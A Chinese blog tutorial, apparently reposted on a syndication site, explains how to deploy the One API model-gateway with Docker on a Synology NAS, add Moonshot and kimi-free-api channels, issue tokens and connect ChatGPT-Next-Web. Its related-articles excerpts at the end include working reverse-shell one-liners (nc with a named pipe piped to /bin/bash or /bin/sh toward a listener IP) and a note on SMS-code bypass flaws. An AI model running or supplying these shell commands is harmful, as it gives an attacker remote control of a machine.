大模型接口管理和分发系统One API

news2024/10/1 9:48:21

One-API 支持通过标准的 OpenAI API 格式访问所有的大模型,开箱即用。

老苏就职于一家专注于音视频实时交互技术和智能算法的创新企业。公司通过提供全面的 SDK 和解决方案,助力用户轻松实现实时音视频通话和消息传递等功能。尽管公司网站上有详细的文档中心,但在实际开发中,仍面临大量咨询工作。

鉴于此,老苏考虑利用 GPT 模型的卓越文本生成功能,构建一个企业级的私有知识库。通过用户输入,生成连贯、有逻辑的回复,并通过不断训练和优化,打造一个更智能、更个性化的客户服务体验。

接下来,我们将分三篇文章来实践这一解决方案的可能性,看看效果到底如何?


什么是 One API ?

One-APIOpenAI 接口管理 & 分发系统,支持 AzureAnthropic ClaudeGoogle PaLM 2 & Gemini、智谱 ChatGLM、百度文心一言、讯飞星火认知、阿里通义千问、360 智脑以及腾讯混元,可用于二次分发管理 key,仅单可执行文件,已打包好 Docker 镜像,一键部署,开箱即用。

One API 可以用来管理模型池,其可以兼容 OpenAIAzure 、国内主流模型和本地模型等

工作原理如下:

  • 渠道页面中添加你的 API Key
  • 然后在令牌页面中新增访问令牌
  • 客户端使用令牌访问 One API
  • 根据请求中的 model 参数,匹配对应的渠道(根据渠道里的模型进行匹配,必须完全一致)。如果匹配到多个渠道,则随机选择一个(同优先级)
  • One API 向真正的地址发出请求,并将结果返回给客户端
使用 One API 分发的 key 进行请求
中继请求
中继请求
中继请求
中继并修改请求体和返回体
用户
One API
OpenAI
Azure
其他 OpenAI API 格式下游渠道
非 OpenAI API 格式下游渠道

安装

在群晖上以 Docker 方式安装。

在注册表中搜索 one-api ,选择第一个 justsong/one-api,版本选择 latest

本文第一次折腾时, latest 版本对应为 v0.5.7-alpha.1;本文写作时,latest 版本对应为 v0.6.5

docker 文件夹中,创建一个新文件夹 one-api,并在其中建一个子文件夹 data

文件夹装载路径说明
docker/one-api/data/data存放数据库和日志等

端口

本地端口不冲突就行,不确定的话可以用命令查一下

# 查看端口占用
netstat -tunlp | grep 端口号
本地端口容器端口
30333000

环境

可变
TZ设为 Asia/Shanghai

命令行安装

如果你熟悉命令行,可能用 docker cli 更快捷

# 新建文件夹 one-api 和 子目录
mkdir -p /volume1/docker/one-api/data

# 进入 one-api 目录
cd /volume1/docker/one-api

# 运行容器
docker run -d \
   --restart always \
   --name one-api \
   -p 3033:3000 \
   -v $(pwd)/data:/data \
   -e TZ=Asia/Shanghai \
   justsong/one-api

也可以用 docker-compose 安装,将下面的内容保存为 docker-compose.yml 文件

version: '3'

services:
  one-api:
    image: justsong/one-api
    container_name: one-api
    restart: unless-stopped
    ports:
      - 3033:3000
    volumes:
      - ./data:/data
    environment:
      - TZ=Asia/Shanghai

然后执行下面的命令

# 新建文件夹 one-api 和 子目录
mkdir -p /volume1/docker/one-api/data

# 进入 one-api 目录
cd /volume1/docker/one-api

# 将 docker-compose.yml 放入当前目录

# 一键启动
docker-compose up -d

运行

在浏览器中输入 http://群晖IP:3033 就能看到主界面

登陆 按钮

初始管理员账号用户名为 root,密码为 123456

当然也可以注册新用户

登陆成功之后的主界面

【注意】:记得立刻修改默认密码!

新建渠道

添加新的渠道

Moonshot AI

Moonshot AI 为例

  • 类型: 类型下拉选择 Moonshot AI

  • 名称:随意
  • 分组:内置三种,分别是 defaultvipsvip
  • 模型:一般会根据类型自动填写
  • 密钥:Moonshot AI 的秘钥,可以在这里申请: https://platform.moonshot.cn/console/api-keys

这是 Moonshot 的开发者账号,新用户注册会有 15 元额度。这和之前我们用的 kimi-free-api 中介绍的 refresh_token 不是一个概念。

保存之后,可以 测试

如果没问题的话,会提示测试成功

kimi-free-api

当然,我们也可以添加之前使用过的 kimi-free-api

kimiMoonshot 基于 Moonshot AI 开发的产品

  • 类型:选择 自定义渠道
  • Base URL:填入 kimi-free-api 的访问地址 http://群晖IP:8126
  • 名称:例如:kimi-free-api
  • 分组:default就行
  • 模型:输入自定义模型名称,填入 即可
  • 秘钥:从 kimi.moonshot.cn 网页上获取的 refresh_token

保存之后,可以测试一下是否设置正确

创建令牌

要二次分发使用,还需要有令牌

用于控制可使用的模型、额度、时限等

【注意】:这里没有设置模型范围,意味着后续添加的新渠道的模型,都是可以通过这个令牌进行访问的

保存之后

ChatGPT Next Web 为例

会得到一个字符串,其中

  • key :对应的是 ChatGPT Next Web 的环境变量 OPENAI_API_KEY
  • url:对应的是 ChatGPT Next Web 的环境变量 BASE_URL,但不能用 http://localhost:3000,而要使用外部地址 http://http://群晖IP:3033

ChatGPT Next Web

还是以 ChatGPT-Next-Web 为例

文章传送门:跨平台私人ChatGPT应用ChatGPT-Next-Web

如果你还没安装 ChatGPT-Next-Web ,可以用下面的命令一键搞定

# 运行容器  
docker run -d \  
   --restart unless-stopped \  
   --name chatgpt-next-web \  
   -p 3059:3000 \  
   -e OPENAI_API_KEY=<你的 key> \  
   -e BASE_URL=http://<你的群晖IP>:3033 \  
   -e CUSTOM_MODELS="-all,+moonshot-v1-8k,+moonshot-v1-32k,+moonshot-v1-128k" \  
   yidadaa/chatgpt-next-web

如果你已经安装过ChatGPT-Next-Web,需要修改三个环境变量参数

  • OPENAI_API_KEY:之前不论你是安装的 FreeGPT35 还是 aurora,这个值都是随便填的,现在必须改为我们前面获取的 key
  • BASE_URL:填写 One API 服务的地址 + 端口
服务名称服务地址
FreeGPT35http://192.168.0.197:3044
aurorahttp://192.168.0.197:8328
GPT4Freehttp://192.168.0.197:1337
kimi-free-apihttp://192.168.0.197:8126
One APIhttp://192.168.0.197:3033
  • CUSTOM_MODELS :用来控制模型列表,使用 + 增加一个模型,使用 - 来隐藏一个模型,使用 模型名=展示名 来自定义模型的展示名,用英文逗号隔开。需改为 -all,+moonshot-v1-8k,+moonshot-v1-32k,+moonshot-v1-128k

重新启动 ChatGPT-Next-Web 容器后,进入的设置,可以看到模型已经改变了

接下来就可以开始聊天了

当然,One API 作为分发系统,还支持充值、兑换、日志等功能

参考文档

songquanpeng/one-api: OpenAI 接口管理 & 分发系统,支持 Azure、Anthropic Claude、Google PaLM 2、智谱 ChatGLM、百度文心一言、讯飞星火认知、阿里通义千问、360 智脑以及腾讯混元,可用于二次分发管理 key,仅单可执行文件,已打包好 Docker 镜像,一键部署,开箱即用. OpenAI key management & redistribution system, using a single API for all LLMs, and features an English UI.
地址:https://github.com/songquanpeng/one-api

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613989.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单页面首屏优化,打包后大小减少64M,加载速度快了13.6秒

需求背景 从第三方采购的vue2 ElementUI实现的云管平台&#xff0c;乙方说2011年左右就开始有这个项目了&#xff08;那时候有Vue了吗&#xff0c;思考.jpg&#xff09;。十几年的项目&#xff0c;我何德何能可以担此责任。里面的代码经过多人多年迭代可以用惨不忍睹来形容&a…

大模型培训老师叶梓:通过微调提升小型语言模型的复杂推理能力

在人工智能的快速发展中&#xff0c;复杂推理能力的提升一直是研究者们追求的目标。最近&#xff0c;一项发表在arXiv上的研究成果【1】&#xff0c;提出了一种创新的方法&#xff0c;即通过微调小型语言模型&#xff08;LMs&#xff09;&#xff0c;并将其与大型语言模型&…

内旋风铣也挺有意思,不够还没搞透

内旋风铣&#xff0c;这一术语在机械制造业中并不陌生&#xff0c;它代表着一种高效且精确的加工方法。这一技术的名称“内旋风铣”便揭示了其两大核心特点&#xff1a;一是“内”&#xff0c;指的是在工件内部进行加工&#xff0c;通常涉及到难以触及的复杂曲面&#xff1b;二…

C语言趣味代码(二)

1.珠玑妙算 1.1 介绍 《珠玑妙算》(Mastermind)是英国Invicta公司于1973年开始销售的一款益智游戏&#xff0c;据说迄今为止已经在全世界销售了5000万套。《珠玑妙算》于1974年获奖后&#xff0c;在1975年传入美国&#xff0c;1976年leslieH.Autl博士甚至还出版了一本名为The…

C++笔试强训day4

目录 1.游游的you 2.腐烂的苹果 3.孩子们的游戏 1.游游的you 链接&#xff1a; 分析题意之后&#xff0c;发现就是一道简单的贪心&#xff0c;当然也可以把他看作纯数学题。 因为you和oo里面都有o&#xff0c;但是you可以得两分&#xff0c;所以贪心策略尽可能的去凑更多的…

千锤百炼之算法Scanner和System.out引起超时解决办法

题外话 觉得这个内容还是很关键的,过来写一下吧 本次内容有点抽象大家试着听一下 正题 做过算法题的人都知道,无论是在力扣还是牛客或者别的网站刷题,很多情况下都会遇到输入输出的情况,当我们用Scanner和System.out.print()就有可能产生超时问题 如下图 接下来会有一段代…

王者荣耀防御塔如何开发!新手小白做游戏开发采坑经过。phaser前端游戏框架

好嘞&#xff0c;游戏开发框架是js 开发的网页小游戏&#xff01; phaser这个框架。好我们先上图&#xff01; 目前大概是这么一个样子。 然后防御塔功能呢。简单的说就是当人物进去的时候打他。人物扣血。 我们的小人物是这样的代码 遇到的问题如下&#xff1b; 小白刚开始…

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案&#xff0c;当时做的是ffmpeg内核版本&#xff0c;由于ffmpeg内核解析都是代码实现&#xff0c;所以无缝切换非常完美&#xff0c;看不到丝毫的中间切换过程&#xff0c;看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法&#xff0c;…

计算机经典黑皮书分享

计算机经典黑皮书是一套计算机科学丛书&#xff0c;其中包含了多本计算机科学领域的经典教材 提供了全面的知识体系&#xff1a;黑皮书涵盖了计算机科学的多个领域&#xff0c;如计算机组成与设计、操作系统、数据库、人工智能等。它们深入浅出地介绍了相关领域的基本概念、原…

免费听音乐,下载音乐mp3,mp4,歌词的网站分享(2024-04-22)

亲测&#xff01;&#xff01;&#xff01; 1、音乐客 免费听和免费下载 经典老歌 - 音乐客音乐客,yinyueke.net,免费音乐,免费在线音乐播放器,免费下载音乐,音乐&#xff0c;播放器&#xff0c;下载&#xff0c;播放&#xff0c;DJ&#xff0c;免费,mp3,高音质&#xff0c;…

07 文件-IO流字节流

File File类的使用 File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名&#xff0c;这个路径可以存在&#xff0c;也可以不存在 创建File类的对象 构造器说明public File(String pathname)根据文件路径创建文件对象public File(String parent, Strin…

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理&#xff1a; 服务器端返回的相关参数作为最终登录凭证&#xff0c;导致可绕过登录限制。 危害&#xff1a;在相关业务中危害也不同&#xff0c;如找回密码&#xff0c;注册&#xff0c;电话换绑等地方即可形成高危漏洞&#xff0c;如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…

双链表实现,增 删 改 查(基础详细版)

0.在开始之前建议先跟着思路&#xff0c;走一遍&#xff0c;调试部分我就不放了主要写的是实现思路。当然最后也会把源码附上。 1. 带头双向循环链表(简称&#xff1a;双向链表) 双向循环带头链表: 红色的指向正的 最后一个节点指向头结点绿色的指向反的 从最后一个开始遍历&a…

Rust-01 Hello Rust 10分钟上手编写第一个Rust程序 背景介绍 发展历史 环境配置 升级打怪的必经之路

背景介绍 Rust 是一种多范式、通用的编程语言&#xff0c;强调性能、类型安全和并发性。它通过一个称为“借用检查器”的机制在编译时追踪所有引用的对象生命周期&#xff0c;以强制实现内存安全&#xff0c;即确保所有引用都指向有效的内存&#xff0c;而不需要垃圾收集器。 …

浏览器工作原理与实践--性能分析工具:如何分析Performance中的Main指标

节我们介绍了如何使用Performance&#xff0c;而且我们还提到了性能指标面板中的Main指标&#xff0c;它详细地记录了渲染主线程上的任务执行记录&#xff0c;通过分析Main指标&#xff0c;我们就能够定位到页面中所存在的性能问题&#xff0c;本节&#xff0c;我们就来介绍如何…

如何修改支付宝号?日赚300+,纯撸信息差!

最近更新的内容中&#xff0c;很多都是给大家讲到的“信息差”。但是&#xff0c;真正能理解信息差&#xff0c;并且使用信息差赚钱的&#xff0c;有多少&#xff1f; 包括前几天给朋友们分享的软件项目&#xff0c;靠信息差月入3万&#xff0c;直接复制粘贴搞定&#xff01;和…

java可盈保险合同管理系统的设计与实现(springboot+mysql源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的可盈保险合同管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于Spring Boot的…